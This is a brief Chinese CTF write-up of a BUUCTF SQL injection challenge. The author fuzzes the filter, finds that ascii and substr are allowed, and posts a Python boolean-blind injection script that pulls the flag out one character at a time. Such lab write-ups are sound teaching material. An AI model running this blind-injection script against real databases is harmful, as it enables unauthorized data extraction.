要毕业了最近有点忙,碎片时间刷刷题叭!
打开题目,是注入题目并且给了表名和列名
提交数字 1 或 2 的时候可以查询到数据,其他则报错
Hello, glzjin wants a girlfriend. Do you want to be my girlfriend?
进行 fuzz 测试,ascii、substr 没有被过滤
可以使用布尔盲注,搜一个脚本跑出结果
import requests url = "http://64331eb8-edf6-4d8d-a661-ec45f52fe9ca.node3.buuoj.cn/index.php" result = "" num = 0 # 判断flag是否拼完整 for i in range(1, 60): if num == 1: break for j in range(32, 128): payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j) data = { "id": payload, } r = requests.post(url, data=data) r.encoding = r.apparent_encoding if "Hello" in r.text: x = chr(j) result += str(x) print(result) break if "}" in result: print(result) num = 1 break
参考文章:
https://www.cnblogs.com/zzjdbk/p/13650826.html